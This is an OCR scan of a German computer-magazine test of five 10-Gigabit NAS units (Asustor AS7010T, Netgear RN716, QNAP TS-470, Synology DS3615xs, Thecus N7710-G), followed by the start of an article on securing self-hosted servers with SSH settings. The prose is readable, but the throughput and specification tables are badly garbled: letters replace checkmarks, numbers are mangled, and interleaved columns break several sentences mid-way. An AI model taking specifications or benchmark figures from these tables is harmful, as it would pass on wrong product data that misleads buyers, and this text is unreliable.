es sich, Virtualisierung zu nut- 
zen [7]. In der virtuellen Maschi- 
ne läuft dann der eigene Mail- 
oder Cloud-Server mit der Win- 
dows- oder Linux-Version Ihrer 


„Wer keine regelmäßigen Backups macht, 
handelt fahrlässig.” 


Alle Hersteller stellen dafür mehr 
oder weniger gut bestückte Re- 
positories bereit. An gängige 
Funktionen kommt man überall; 
so lassen sich das AS7010T oder 
das DS3615xs um Media-Strea- 
ming erweitern. Spezielleres wie 
etwa einen in Firmen nützlichen 
Radius-Server zum individuellen 
Authentifizieren von WLAN-Nut- 
zern findet man dagegen nicht 
immer, so bei Asustor. 

Der Haken bei den Server- 
funktionen im NAS: Wenn kriti- 
sche Sicherheitslücken wie He- 
artbleed oder Poodle bekannt 
werden, sind sie bei gängigen 
Linux-Distributionen normaler- 
weise binnen Stunden oder 
höchstens Tagen gestopft. Bei 
den ins NAS integrierten Diens- 
ten kann es dagegen Wochen 
dauern, bis ein Firmware-Update 
bereit steht. 

Dass die integrierten Funktio- 
nen nicht immer tagesfrisch sind, 
sieht man beispielsweise am 
Webserver: Nur bei Netgear und 


Synology-DS3615xs: 
mit 12 Slots größtes 
Speicherangebot, 
aber etwas ältlicher 
Samba-Server 
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Wahl, die durch regelmäßige Up- 
dates frisch gehalten wird. Tipps 
zum Sichern von Server-Funktio- 
nen finden Sie ab Seite 108. 

Aus dem Testfeld bietet der- 
zeit nur das TS-470 eine VM- 
Funktion. Mit der nachrüstbaren 
Virtualization Station ließ sich ein 
CentOS 7 problemlos einrichten. 
Geschickterweise hält QNAP die 
Netzwerkschnittstellen getrennt: 
Die ins LAN führende für den Da- 
tenzugriff aufs NAS kann nicht 
gleichzeitig die VM bedienen. 

Um die VMs im LAN erreichbar 
zu machen, führt man eine zweite 
Netzwerkschnittstele an den 
LAN-Switch. Wer die Virtualisie- 
rung nutzen will, sollte sich für 
das rund 140 Euro teurere 
TS-470 Pro entscheiden, das mit 
dem kräftigeren Core-i3-Prozes- 
sor ausgestattet ist; dies be- 
schleunigt auch die optionale Da- 
tenverschlüsselung (siehe unten). 

Ferner ist bei VM-Einsatz eine 
Speicheraufrüstung auf 4 oder 
8 GByte RAM sinnvoll. Die kön- 


Thecus N7710-G: 
Das billigste Gerät 
des Testfeldes 
schwächelte bei 
großen Dateien. 
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nen Sie - wegen des kompakten 
Gehäuses mit einiger Fummelei 
- auch selbst bewerkstelligen: 
Das TS-470 Pro nutzt DDR3-SO- 
DIMMSs, die auch für Notebook- 
Aufrüstungen gängig sind (siehe 
c't-Link) - leider ohne ECC-Feh- 
lerschutz. 


NAS-Verschlüsselung ... 


Alle Testgeräte können Daten 
beim Speichern verschlüsseln. 
Das schützt vor Ausspähen, sei es 
durch Diebstahl oder beim Ein- 
schicken defekter Platten im Ga- 
rantiefall. Die Verschlüsselung 
geschieht entweder fürs ganze 
Volume (eingerichteter Speicher- 
block) oder pro Freigabe. Ersteres 
schützt alle Daten, die auf dem 
Volume abgelegt sind, kostet 
aber Performance. Bei der Freiga- 
be-Verschlüsselung werden nur 
manche Zugriffe ausgebremst. 
Netgear machts übrigens nar- 
rensicher: Ist kein USB-Stick zum 
Sichern des Schlüssels ange- 
steckt, kann man kein chiffriertes 
Volume anlegen. Beim Booten 
muss der USB-Stick mit dem 
Schlüssel präsent sein, damit das 
NAS chiffrierte Volumes einbin- 
det. Falls Sie diese Option nutzen, 
legen Sie sich unbedingt eine 
Kopie des Schlüssels in den Safe. 


... kostet Durchsatz 


Wer das NAS die Daten verschlüs- 
seln lassen will, sollte ein Modell 
mit Core-i3- oder Xeon-Prozessor 
wählen, weil diese AES-Beschleu- 
nigung als Hardware-Befehl be- 
herrschen (AES-NI|). Die Celeron- 
und Pentium-CPUs in TS-470 und 
N7710-G müssen den AES-Chif- 
frier-Algorithmus dagegen zu 
Fuß erledigen. 


Der Unterschied war bei unse- 
rer Stichprobe erheblich: Beim 
Kopieren großer Dateien ging der 
Durchsatz des ReadyNAS 716 mit 
Xeon E3-1265L nur um 10 Pro- 
zent zurück. 15 Prozent waren es 
beim AS7010T (Core i3-4330). Das 
TS-470 mit dem Celeron G550 
brach dagegen um fast 80 Pro- 
zent ein. 


Geschwindigkeits- 
kontrolle 


Den mit Windows-Freigaben er- 
zielbaren Durchsatz haben wir 
in verschiedenen RAID-Konfi- 
gurationen mit dem c't-NAS- 
Benchmark getestet, der das 
Kopieren von unterschiedlich 
großen Dateien per Explorer 
simuliert. 


wert mehr Durchsatz als Gigabit- 
Ethernet lieferte. 

Wie erwartet drehten die NAS 
erst bei wenigen, sehr großen 
Dateien richtig auf (siehe Dia- 
gramm unten). Um eine zufrie- 
denstellende Note zu erreichen, 
mussten sie sowohl beim Schrei- 
ben als auch beim Lesen wenigs- 
tens 200 MByte/s erreichen. Ein 
„Gut” gab es, wenn beide Werte 
über 400 MByte/s lagen. 


Besonderheiten 


Frames mit mehr als 1500 Byte 
Nutzdaten sind bei Gigabit- 
Ethernet nicht standardisiert, 
sondern erst ab 10GE. Damit bei 
der Einrichtung des neuen NAS 
sein 10GE-Port auch an Gigabit- 
Switches sicher funktioniert, 
haben alle Hersteller die MTU 


„Mit Virtualisierung im NAS kann man 
eigene Server mit der Windows- oder Linux-Version 
der Wahl aufsetzen.” 


Jedes NAS wurde erst mit 
zwei, dann drei schnellen SSDs 
bestückt (Samsung 850 Pro, 256 
GByte). Als Gegenstelle diente 
ein flotter Desktop-Rechner mit 
Core-i3-2130-CPU (3,4 GHz) und 
16 GByte Hauptspeicher, von 
denen 12 GByte für eine RAM- 
Disk abgezwackt wurden. 

Bei vielen kleinen Dateien von 
256 KByte Größe geht viel Zeit in 
den Betriebssystemen verloren. 
Da konnte keiner der Prüflinge 
seine schnelle Hardware ausspie- 
len. Mit mittelgroßen 2-MByte- 
Dateien, was Digitalfotos ent- 
spricht, kamen alle Geräte in 
eine Region, wo 10GE nennens- 


der 10GE-Schnittstelle ab Werk 
auf 1500 Byte begrenzt. Hängt 
das eingerichtete NAS dann spä- 
ter an einem 10GE-Switch, kön- 
nen Sie die MTU gefahrlos auf 
9000 hochsetzen, was die Netto- 
datenrate etwas steigert. 

Bei Geräten mit HDMI-Aus- 
gang zeigt ein angeschlossener 
Monitor beim Hochfahren die 
BIOS-Startmeldung und den 
Linux-Bootvorgang. Wer hier 
eingreifen will, sollte eine USB- 
Tastatur direkt ans NAS an- 
schließen. Mit einem älteren 
DVI/USB-KVM-Umschalter (Key- 
board, Video, Mouse, Aten CS- 
1764) dazwischen blieb die Tas- 


SMB-Durchsatz unter Windows per 10-Gigabit-Ethernet 


tatur bei allen Prüflingen funk- 
tionslos. 

Für sein 10-Slot-Modell 
AS7010T bietet Asustor keine 
eigene 10GBase-T-Karte an. Mit 
etwas Improvisieren bekommt 
man die X540-T1 von Intel hi- 
nein: Weil der Karte kein zum 
NAS passendes Low-Profile-Slot- 
blech beiliegt, bauten wir sie 
ohne ein und sicherten sie mit 
einem Kabelbinder. Das Einstel- 
len einer festen IPv4-Adresse 
wirkte in unserer Testumgebung 
bei der neu erschienenen Schnitt- 
stelle LAN3 nur vorübergehend. 
Nach einem Reboot verwendete 
das NAS wieder die vorher vom 
Router per DHCP bezogene 
Adresse. Kurz vor Redaktions- 
schluss schickte Asustor eine ge- 
patchte Firmware, die Ende Ja- 
nuar online bereitstehen soll. 


Gebremste Platte 


Das 6-Slot-Modell Ready- 
NAS 716 von Netgear stellt den 
Boliden im Test dar: Seiner Xeon- 
CPU stehen fette 16 GByte ECC- 
RAM zur Seite, das einzelne Bit- 
fehler im Hauptspeicher selbsttä- 
tig erkennt und korrigiert. Jedoch 
hat das Gerät einen kleinen 
Schönheitsfehler: Nur die ersten 
beiden Plattenslots sind per 
SATA 6G mit maximal 6 GBit/s 
angebunden. Die weiteren Slots 
hängen an Silicon-Image-Chips, 
die lediglich SATA II beherrschen 
(Sil3132, 3 GBit/s). Obwohl im 
RAID-5-Test so die dritte SSD aus- 
gebremst war, lieferte das RN716 
guten Durchsatz. Der hohe Preis 
wirkt durch den optionalen Bit- 
Rot-Schutz (siehe oben) auch ge- 
rechtfertigt. 

Beim Einrichten des kompak- 
ten 4-Slot-NAS TS-470 von 


Konfiguration Modell 256 KByte Dateigröße alle Werte in MByte/s 2 MByte Dateigröße alle Werte in MByte/s 1 GByte Dateigröße alle Werte in MByte/s 
Schreiben besser» Lesen besser» Schreiben besser® Lesen besser» Schreiben besser» Lesen besser» 

RAIDO Asustor AS7010T 153 m48 HE 362 En 218 HE (63 EEE 452 
Netgear RN716 56 51 BE 228 En 237 EEE 665 VE 1169 
QNAP TS-470 m61 u46 En 235 u 194 EEE 675 TEEN 54 
Synology DS3615xs MI 67 142 En 233 En 235 | 2 EEE 4176 
Thecus N7710-G 12 130 En 211 um 131 En 243 EEE 266 

RAID1 Asustor AS7010T E65 m44 En 257 mm 182 EEE 363 HE 385 
Netgear RN716 56 50 En 233 N 236 En 530 CE 472 
QNAP TS-470 61 u4 HE 240 m 193 HE 357 HE 501 
Synology DS3615xs m 65 231 mu 119 m 190 En 163 HE 72 
Thecus N7710-G 12 124 212 u 91 un 119 134 

RAID5 Asustor AS7010T En 150 46 Hr 359 BE 222 | 7 7 Ei 
Netgear RN716 54 w50 BE 227 En 234 HE 521 HE 1173 
QNAP TS-470 60 143 BE 229 En 189 HE 4155 HE 527 
Synology DS3615xs MI 64 m4 En 253 En 227 En 344 484 
Thecus N7710-G m38 129 mu 199 m 172 m 239 HE 387 
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10-Gigabit-NAS - technische Daten und Testergebnisse 


Modell 

Hersteller/Marke 

Getestete Firmware 

Kernel-Version 

Hardware 

Prozessor (Takt) / RAM 

Festplatten-Slots (davon SATA 6G) 
Gigabit-LAN-Ports / VLAN setzbar / Link Aggregation 
optionale LAN-Ports / VLAN setzbar / Link Aggregation 
10GBase-T-Ports / Karte (Controller) 

weitere Anschlüsse 


Lüfter (Anzahl x Durchmesser) 
Maße (BXHXT) 
mitgelieferte Software 


Sharing-Funktionen 

SMB / FTP / FTPS / abschaltbar 

SMB / FTP-Server-Version 

WebDAV / WebDAVs / abschaltbar 

NFS / abschaltbar 

AppleShare / TimeMachine / abschaltbar 
Rsync / abschaltbar 

iSCSI Initiator / Target / Thin Provisioning 
Medienserver 


Printserver / Protokolle 
weitere Dienste 


Verbindungen / offene Dateien im Test 
Dateiattribute: Archiv / schreibgeschützt / versteckt 
File / Record Locks 

Zugriffsrechte 

Benutzer / Gruppen / Quota 

Anbindung an Active Directory / LDAP 
Konfiguration und Logging 

HTTP / HTTPS / Deutsch (weitere Sprachen) 
Telnet / SSH / Root-Shell / IPv6-HTTPS / IPv6-SSH 
SNMP-Versionen / Traps (Ziele) 

Logging / Alarme 

NTP-Client / Server frei einstellbar / Sommerzeit 
Festplattenspeicher 

Idie-Timeout für Platten 

Dateisystem intern 

Dateisystem extern 

Hot Swap / RAID-Konfiguration 
Datenverschlüsselung / Bit-Rot-Schutz 

Extras 

Fernzugriff per App für Android / i05 / Windows mobile 
Sicherung/Mirroring 

unterstützte Cloud-Dienste 


USV-Kopplung per USB / NetUPS-Server / NetUPS-Client 
Messwerte 

SMB-Durchsatz kleine Dateien’ 

mittlere Dateien! 

große Dateien" 

Geräusch in Bereitschaft (3 SSD/2 HD) 
Leistungsaufnahme (3 SSD, idle/RAID-5-Build) 
Bewertung 

Funktionsumfang 

Durchsatz große Dateien 

Preis (ohne Platten) 


AS7010T 
Asustor 
2.3.0.RD51 
3.12.20 


Core i3-4330 (3,5 GHz) / 2 GByte 
10.(10) 

al 

Pllexg/v /vV 

1/ Intel X540T1 


3x USB3.0,2 x USB 2.0, 2x eSATA, 1x HDMI 1.4a, 
1x SPDIF (optisch) 


2x 12cm, 1x3cm 
29 cmx 21,5 mx 23cm 
Control Center, Backup Plan, Download Assistant 


vIvIvIiv 

Samba 4.0.19 / ProFTPD 1.3.4.a 

v (nginx 1.4.4) /v Iv 

v (Kernel) /v 

v (afpd3.05)/v /v 
vßB0N/v 

-/viIv 

nachrüstbar (DLNA, iTunes, XBM(C etc.) 


v (Cups 1.6.2) /IPP 


VPN-Client (PPTP, OpenVPN), Server: Web (Apache 2.2.22), 
SQL (mysal 5.5.20), TFTP (Busybox 1.19.3) 


1000 / 16372 
Nele 
viv 


vIvIv 
Zi 


vIvIv (1) 
-/viIviviv 
ES 

Browser, Syslog / Mail, SMS 
vlIvIiv 


v (5-60 Minuten) 

ext4 

FAT32, NTFS, ext3/4 

v 10,1,5,6, 10, JBOD, Single Disk 
v (freigabebasiert) / — 


Va 
USB, Rsync, FTP, Cloud 
Amazon 53 


vIvI- 


150 / 46 MByte/s 
359 / 222 MByte/s 
662 / 486 MByte/s 
0,6/0,9Sone 
36/48 Watt 


0) 
® 
2020 €? 


RN716 
Netgear 
6.2.2 
3.0.101 


Xeon E3-1265L (2,5 GHz) / 16 GByte ECC 

62) 

2/-/v 

2x 10GBaseT/- /v 

2/ fest eingebaut (= Intel X540T2) 

2x USB 3.0, 1x USB 2.0, 3 x eSATA, 1x HDMI 


1x 12cm, 1x3cm 
19cmx26cmx 29cm 
RAlDar 


vIvIvIiv 

Samba 4.2.0rc3 / ProFTPD 1.3.5 

v (Apache 2.2.29) /vV /Iv 

v (Kernel) /vV 

v (afpd3.1.7)/v /v 

ERBIIRRE 

-/v iv 

DLNA (ReadyDLNA 1.1.4), iTunes (forked-daapd 22.1) 


Se 
VPN-Zugriff (ReadyNAS Remote) 


1000 / 16384 
vIvIv 
vIiv 


zZ 
vil= 


vIvIv (14) 
-/v IvIvIv 
12/v (1) 
Browser / Mail 
vIvIkAa. 


v (5-45 Minuten) 

Btrfs 

FAT32, NTFS, ext3/4, HFS+ 

v 10,1,5,6, 10, JBOD, X-RAID2, Single Disk 
v (Volume-basiert) /W 


vivi= 
USB, Cloud, ReadyNAS Replikator 
Netgear ReadyCloud 


v Iv Iv (auch SNMP) 


54 / 50 MByte/s 
227 / 234 MByte/s 
521/473 MByte/s 
3,1/3,1Sone 
27/38 Watt 


© 
® 
2840 € 


! mit drei SSD Samsung 850 Pro 256 GByte im RAID-5-Verbund, Schreiben /Lesen ? mit optionaler 10GBase-T-Karte (siehe oben) ° blockierbar per Firewall-Regel 


©® sehrgutt © gut © zufriedenstellend 
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© schlecht 


©6 sehr schlecht v vorhanden 


— nicht vorhanden 


k. A. keine Angabe 
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T5-470 
QNAP 
4.1.2 
3.4.6 


Celeron 6550 (2,6 GHz) / 4 GByte 
4(4) 

2/v Iv 

2x 10GBaseT/v /v 

2 / LAN-10G2T-U (= Intel X540T2) 


2x USB3.0,3 x USB 2.0,2 x eSATA, 
1x HDMI, 1x Audio Out, 1x Mic In, 
IR-Empfänger 

1x9cm 

18 cm x 18,5 cm x 23,5 cm 


QNAP Finder, MyQNAPCloud Connect, 
NetBak Replicator, QGet 


vIvIvIv 

Samba 4.0.21 / ProFTPD 1.3.2e 
v (Apache 2.2.27) /v Iv 
v (Kernel) /v 

v (afpd3.0.5)/V /v 
vß0nIv 

-/v iv 

DLNA (Twonky 7.2.7), iTunes 
(Firefly svn-1696) 

v (Cups) /IPP 


Server: Web (Apache 2.2.27), SQL ( 
mysql 5.1.36), Syslog (rsyslogd 4.4.2), 
Radius (FreeRADIUS 2.1.8), LDAP 
(OpenLDAP 2.4.23), NTP (4.2.7), TFTP 
(OpenTFTPD 1.62), VPN (pptpd 1.3.4, 
OpenVPN 2.2.1) 


1000 / 16375 
vivIv 
vIv 


vIvIv 
vv 


vIivIv(2) 
vlIviIvIiIviv 
1,2,3/v (3) 

Browser, Syslog / Mail, SMS 
viviv 


v (5-60 Minuten) 

ext4 

FAT32, NTFS, ext3/4 

v 10,1,5,6, 10, JBOD, Single Disk 
v (Volume-basiert) / — 


vivi= 
USB, NAS-to-NAS, Rsync, RTRR, Qsync 
Amazon $3, ElephantDrive, Symform 


vIivIv 


60 / 43 MByte/s 
229 / 189 MByte/s 
455 / 527 MByte/s 
1,2/1,5 Sone 
31/47 Watt 


©® 


® 
1270 €? 
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DS3615xs 
Synology 
DSM 5.1-5022 
3.2.40 


Core i3-4130 (3,4 GHz) / 4 GByte ECC 

12.(22) 

alvIv 

2x 10GBaseT/v /v 

2/ fest eingebaut (= Intel X540T2) 

2x USB3.0, 2 x Expansion, serielle Konsole (SubD9) 


2x 12cm 
30cmx27cmx35 cm 


vIvIiviv 

Samba 3.6.24 / SmbFTPD 2.0 

v (Apache 2.2.29) /vV Iv 

v (Kernel) /v 

v (afpd3.1.1)/V /v 
vBOIIV) 

-/vV I= 

nachrüstbar (DLNA, iTunes, etc.) 


v (Cups) /IPP 


Server: CaIDAV (Apache 2.2.29), PXE, NTP (4.2.8), 
Syslog (syslog-ng 3.5.5) 


1000 / 16374 
vIivIv 
vIiv 


vIvIv 
viv 


vIvIiv (9) 

vivivliviv 

123/- 

Browser, Syslog / Mail, SMS, Browser-Push 
vIvIkA. 


v (10-300 Minuten) 

ext4 

FAT32, NTFS, ext3/4 

v 10,1,5,6, 10, JBOD, Single Disk 
v (freigabebasiert) / — 


vivIi= 
USB, Rsync, Cloud, Synology-Server 


Amazon 53, CHT hicloud 53, Microsoft Azure, 
SFR Stockage 


v Iv Iv (Synology, SNMP) 


64 / 41 MByte/s 
253 / 227 MByte/s 
344 / 484 MByte/s 
1,4/1,6 Sone 
43/51 Watt 


® 


oO 
2650 €? 
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N7710-G 
Thecus 
2.05.06 
3.10.47 


Pentium G850 (2,9 GHz) / 4 GByte 

7(0) 

2/-/v 

1x 10GBaseT / - /vV 

1/ C10GTR (Tehuti 4024) 

2x USB3.0,6x USB 2.0, 1x HDMI, 1x VGA 


2x9cm,1x3cm 
21cmx32cmx 28,5 cm 


Setup Wizard, Backup Utility, Acronis True Image 
Personal 2010 


vivliviv 

Samba 3.5.19 / Pure-FTPD 1.0.35 

v (Apache 2.2.25) /v /v 

v (Kernel) /v 

v (afpd2.24)/vV Iv 

vß810)/v 

vIvIiv 

DLNA (Twonky, MiniDLNA nachrüstbar), iTunes 


v (Cups) /IPP 


VPN-Client (PPTP), Server: Web (Apache 2.2.25), 
TFTP (OpenTFTPD 1.6.5), NTP (4.2.6p1) 


1000 / 16372 
viIviIv 
vIv 


vlIvIv 
viv 


vIvIv (3) 
-/vIvIvv 
12/v 8) 

Browser, Syslog / Mail 
vi=-/iv 


v (30-120 Minuten) 

ext4 (auch ext3, Btrfs, XFS) 

FAT32, ExXFAT, NTFS, ext3/4 

v 10,1,5,6, 10, JBOD, Single Disk 
v (Volume-basiert) / — 


vivi- 
USB, Rsync, Cloud 
Amazon 53 


vIi-lv 


38 / 29 MByte/s 
199 / 172 MByte/s 
239 / 387 MByte/s 
2,2 /2,4Sone 
36/47 Watt 


30€ 


QNAP wird man vor die Wahl 
zwischen Heim- und Büronut- 
zung gestellt. Wählt man Erste- 
res, aktiviert das NAS einen Hau- 
fen Dienste wie Photostation 
oder Medien-Streaming, die man 
für ein flottes Datenlager im 
Büro nicht benötigt. Das QNAP- 
NAS brachte mit Abstand die 
meisten Server-Funktionen ab 
Werk mit und lässt sich auch 
noch mit vielen nachinstallierba- 
ren Apps erweitern. Dabei ragt 
die bereits erwähnte Virtualiza- 
tion Station heraus. 

Das Synology DS3615xs war 
im Test das einzige NAS ohne Dis- 
play. Die anderen Geräte zeigen 
Statusinformationen auf zwei Zei- 
len zu 16 Zeichen an, sodass man 
darüber zumindest die vom 
Router erhaltene IP-Adresse aus- 
lesen kann. Zum Ausgleich wartet 
es mit den meisten Plattenslots 
auf (12) und ist obendrein über 
zwei proprietäre Expansion-Ports 
auf bis zu 36 Disks erweiterbar. 
Mit 6-TB-Disks entstünden so 108 
Terabyte Netzspeicher. Trotz der 
potenten Hardware kam das 
DS3615xs im Test mit großen Da- 
teien nicht so recht auf Touren. 
Möglicherweise liegt das am 
etwas ältlichen Samba-Server. 

Das 7-Slot-Gerät N7710-G 
von Thecus blieb beim Durch- 
satz gegenüber dem restlichen 
Testfeld etwas zurück. Sein Pen- 
tium G850 muss zwar mehr 
ackern als die Core-i3-Prozesso- 
ren der anderen NAS, aber die 
Integer-Rechenleistung sollte 
dennoch für mehr als 500 
MByte/s Durchsatz bei großen 
Dateien genügen. Dass das 
N7710-G im Durchsatztest trotz- 
dem schwächelte, liegt zum Teil 
wohl an den verwendeten 
SATA-II-Chips Sil 3132. Anfangs 
blieb das N7710-G selbst vom 
SATA-II-Maximum deutlich ent- 
fernt: In kurzzeitigen Spitzen 
gingen bestenfalls 250 MByte/s 
schreibend durch die Leitung. 
Das ist zufälligerweise genau 
die Grenze der einzelnen PCle- 
v1-Lane der SATA-Chips, wes- 
halb wir dort den Flaschenhals 
vermuten. 

Platziert man die SSDs so, dass 
immer ein Slot dazwischen frei 
bleibt, hängen sie an verschiede- 
nen SATA-Controllern und damit 
an verschiedenen PCle-Lanes. 
Das steigerte den Durchsatz bei 
großen Dateien deutlich, wes- 
halb wir mit dieser Konfiguration 
gemessen haben. Thecus er- 
reichte in einem eigenen Test mit 
7 Platten im RAID-O-Verbund, 
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mehreren parallel zugreifenden 
Clients und großen Dateien eine 
Summenschreibrate von 600 bis 
650 MByte/s und eine Leserate 
von 300 bis 350 MByte/s. 


Fazit 


Mit nicht mal 1000 Euro war das 
Thecus N7710-G das billigste 10- 
Gigabit-fähige NAS im Test, was 
sich aber auch in seiner Perfor- 
mance spiegelte. Immerhin lie- 
ferte es bei großen Dateien den 
doppelten bis dreifachen Durch- 
satz dessen, was mit Gigabit- 
Ethernet möglich ist. 

Das nächstteurere QNAP TS- 
470 ist dank seiner nachrüstba- 
ren Virtualisierungsfunktion ein 
Tipp für alle, die im NAS einen 
selbst aufgesetzten Server laufen 
lassen wollen, um nicht von der 
Softwarepflege der NAS-Herstel- 
ler abhängig zu sein. 

Wer viel Speicherplatz braucht, 
kann zwischen dem AS7010T von 
Asustor mit 10 Slots und dem 12- 
Slot-Modell DS3615xs von Syno- 
logy wählen. Ersteres hat den mo- 
derneren SMB-Server, Letzteres 
lässt sich mit externen Speicher- 
boxen auf bis zu 36 Platten aus- 
bauen. 

Steht Datensicherheit über 
allem, dann bleibt als einzige 
Wahl aus dem Testfeld das Rea- 
dyNAS 716 von Netgear: Dank 
ECC-Speicher und optionalem 
Bit-Rot-Schutz kann man sich da- 
rauf verlassen, dass Daten auch 
Jahre später unverfälscht so wie- 
der herauskommen, wie man sie 
einst hineinstopfte. (ea) 
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bei TS-470 Pro: ct.de/y87g 
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Une 


Peter Siering 


Sichern Sie Ihren 


ie > | 
IN 


} 


Dienste sicher ins Netz bringen 


Egal, ob Sie sich einen eigenen Root-Server leisten, eine virtuelle Maschine beim 
Hoster mieten oder direkt aus der eigenen Besenkammer Dienste im Internet 
anbieten: Unerwünschte Besucher sind so sicher wie bei einer auf Facebook öffentlich 
angekündigten Hausparty. Anders als im realen Leben aber kann man lästige Gäste 
mit einfachen Kniffen erfolgreich abwimmeln. 


W: Dienste wie E-Mail, Blog oder priva- 
te Cloud auf seinem Raspberry, NAS 
oder Server bewusst im Netz exponiert, 
muss Sorge dafür tragen, dass sie nicht miss- 
bräuchlich verwendet werden. Missbrauch 
kann alles Mögliche sein: Austausch von 
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Raubkopien, Beteiligung an DDoS-Attacken 
oder auch nur Vandalismus. Wer diese 
Pflichten vernachlässigt, nimmt nicht nur 
gestörte eigene Dienste in Kauf, sondern 
kann sich Ärger mit dem Provider oder an- 
deren Server-Betreibern einhandeln - siehe 
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Server 


Kasten „(Rechts-JRisiken des eigenen Ser- 
vers” auf Seite 110. 

Trotz aller Maßnahmen stellt der Betrieb 
eine Herausforderung dar: Ständig rüttelt 
jemand an der Tür, um herauszufinden, ob 
auch wirklich abgesperrt ist. Eine Lücke, eine 
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Unachtsamkeit oder ein schwaches Pass- 
wort genügt den potenziellen Eindringlin- 
gen. Forensiker berichten zunehmend in 
ihren Analysen, dass Systeme bereits Wo- 
chen oder sogar Monate vor der Entdeckung 
kompromittiert wurden. Mitunter bekämp- 
fen sich die Eindringlinge sogar untereinan- 
der und installieren Updates, die Lücken 
stopfen, damit sie die Beute nicht teilen 
müssen. 

Besondere Schwierigkeiten erwachsen 
aus beliebten Web-Anwendungen. Die reali- 
sieren mit Skript-Sprachen längst nicht nur 
Bedienoberflächen, sondern die ganze An- 
wendungslogik, etwa eines Blogs, CMS, 
Groupware-Servers, Foren-Systems oder 
einer privaten Cloud. Oft sind vom Entwickler 
nicht vor(her)gesehene Aufrufe einzelner 
Skripte der Anfang vom Übel: Eine Group- 
ware spuckt auf diese Weise alle anwen- 
dungsspezifischen Kennwörter aus oder lässt 
unbeschränkt Zugriffe auf die darunterliegen- 
de Datenbank zu - das Herz der Anwendung. 

Keineswegs muss man den eigenen Server 
in einen Hochsicherheitsbereich verwandeln. 
Es genügen Abwehr- und Sicherheitsmaß- 
nahmen, die ihn für potenzielle Eindringlinge 
so unattraktiv machen, dass sie sich anderen 
Opfern zuwenden. Dass sich die meisten die- 
ser Maßnahmen auf Linux beziehen, liegt pri- 
mär daran, dass es sich eher für einzeln be- 
triebene Server eignet als Windows. Dennoch 
können auch Windows-Admins vom Folgen- 
den profitieren und einzelne Ideen übertra- 
gen. Die ein oder andere Technik erfordert 
dort freilich den Griff zur Geldbörse. Auf 
simplen NAS-Systemen oder auch einem 
Raspberry-Serverchen lassen sich nur die ein- 
facheren Hinweise anwenden. 


(Admin-)Zugang sichern 


Der sichere Betrieb des eigenen Servers be- 
ginnt damit, nur die Dienste nach außen an- 
zubieten, die unbedingt nötig sind. Alle an- 
deren schalten Sie idealerweise nicht nur 
ab, sondern deinstallieren alle zugehörigen 
Komponenten. Nur wenn das nicht geht, 
schützen Sie diese vor Zugriffen von außen. 
Regeln für die lokale Firewall bieten sich 
dafür an und lassen alles, was nicht explizit 
erwünscht ist, von vornherein abprallen. 
Braucht man etwa die IMAP-Klartext-Logins, 
damit der SMTP-Server seine Benutzer gegen 
den IMAP-Server authentifizieren kann, ver- 
steckt man die hinter einer Firewall-Regel, 
die Zugriffe auf den IMAP-Port 143 von 
außen verhindert. 

Wirklich jedes auf dem exponierten Sys- 
tem vorhandene aktive Benutzerkonto 
braucht ein sicheres Passwort. Das ist losge- 
löst davon, auf welche Art und Weise der Be- 
nutzer zugreifen kann oder auch nicht, also 


auch unabhängig von der Frage, ob es ein 
systemweit gültiges Konto oder nur ein an- 
wendungsspezifisches ist. Sonst machen Sie 
es jemandem, der unter einer Identität in das 
System eindringt, viel zu einfach, andere 
Identitäten anzunehmen und sich mehr 
Rechte zu verschaffen. 


Sichern Sie Ihren Server 


Wordpress schützen 5.114 
Logwatch analysiert 5.116 
Drupal absichern 5.118 
Nagios alarmiert S. 120 


SELinux und AppArmor härten S. 124 


Für die Wartung unverzichtbare Dienste 
sollte man aus der Schusslinie nehmen: 
Indem man den SSH-Daemon eines Unix- 
Systems nicht auf dem Standardport 22 be- 
treibt, sondern auf einen einprägsamen Port 
zwischen 1024 und 65 536 schiebt, nehmen 
die Anmeldeversuche neugieriger Besucher 
deutlich ab. Dazu genügt es, in /etc/ssh/ 
sshd_config die Zeile Port 22 auf beispielswei- 
se auf Port 30 303 zu ändern. Idealerweise 
schalten Sie das Anmelden per Passwort 
ganz ab: PasswordAuthentication no und Challenge- 
ResponseAuthentication no. Ein SSH-Server lässt 
dann nur noch Benutzer rein, die einen SSH- 
Schlüssel vorweisen können, der in einer 
.authorized_keys-Datei hinterlegt ist. 

Die benutzerspezifischen SSH-Schlüssel 
generiert der Befehl ssh-keygen in Form von 
zwei Dateien, einem privaten und einem öf- 
fentlichen Teil. Der private verbleibt auf dem 
Rechner, der die Verbindungen aufbaut. Der 
öffentliche kommt in die .authorized_keys- 
Datei auf dem Zielsystem. Vom Angebot, 
einen SSH-Schlüssel mit einer Passphrase zu 
versehen, sollte man stets Gebrauch ma- 
chen. Die Passphrase ist nötig, um den 
Schlüssel auf der Client-Seite zu entsperren 
und benutzen zu können. Das Passwort ver- 
lässt den Rechner, auf dem der private 
Schlüssel liegt, dabei nicht. 

Passphrase-lose SSH-Schlüssel kommen 
mitunter dann zum Einsatz, wenn man au- 
tomatisiert, aber abgesichert auf ein ent- 
ferntes System zugreifen möchte, etwa um 
dort Performance-Daten abzuholen oder 
Daten fürs Backup einzusammeln. Solchen 
Schlüsseln sollte in .authorized_keys zur 
Einschränkung unbedingt der Befehl voran- 
gestellt werden, den sie ausführen helfen 
sollen, etwa 
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command="rsync --server --sender -vlHogDtprxe.ilsf --,7 
numeric-ids . /srv/" ssh-rsa AAAA ... 


Das Kommando entspricht dem Eintrag in 
der Prozesstabelle, die man per ps ax einse- 
hen kann, während es - versuchsweise ein- 
mal ohne command-Beschränkung - ausge- 
führt wird. Fehlt die command-Option, könn- 
te jeder, dem der Passphrase-lose SSH- 
Schlüssel in die Hände fällt, eine interaktive 
Shell auf dem System erhalten. 

Umstritten unter erfahrenen Admins ist, 
ob man direkte root-Zugriffe auf ein System 
grundsätzlich verbieten sollte oder nicht: Die 
einen gehen davon aus, dass ein System 
dann schon als kompromittiert angesehen 
werden muss, wenn ein Eindringling unter x- 
beliebiger Identität Zugriff erlangt hat. Sie 
sehen keine Gewinn darin, den root-Zugriff 
gesondert zu schützen. Das ist nicht falsch, 
denn lokale root-Exploits, um die Rechte des 
Systemverwalters zu erlangen, gibt es zu- 
hauf. Andererseits ist dies eine weitere 
Hürde, die einen Angreifer vielleicht Zeit kos- 
tet, sodass er entnervt weiterzieht. 

Zumindest zur Automatisierung verwen- 
dete SSH-Schlüssel sollten Sie deshalb nicht 
für Zugriffe als root verwenden. Brauchen die 
Befehle dennoch root-Rechte, können Sie via 
sudo Ausnahmegenehmigungen erteilen. 
Zusätzlich können Sie einen SSH-Server an- 
weisen, keine Anmeldung als root zuzulassen 
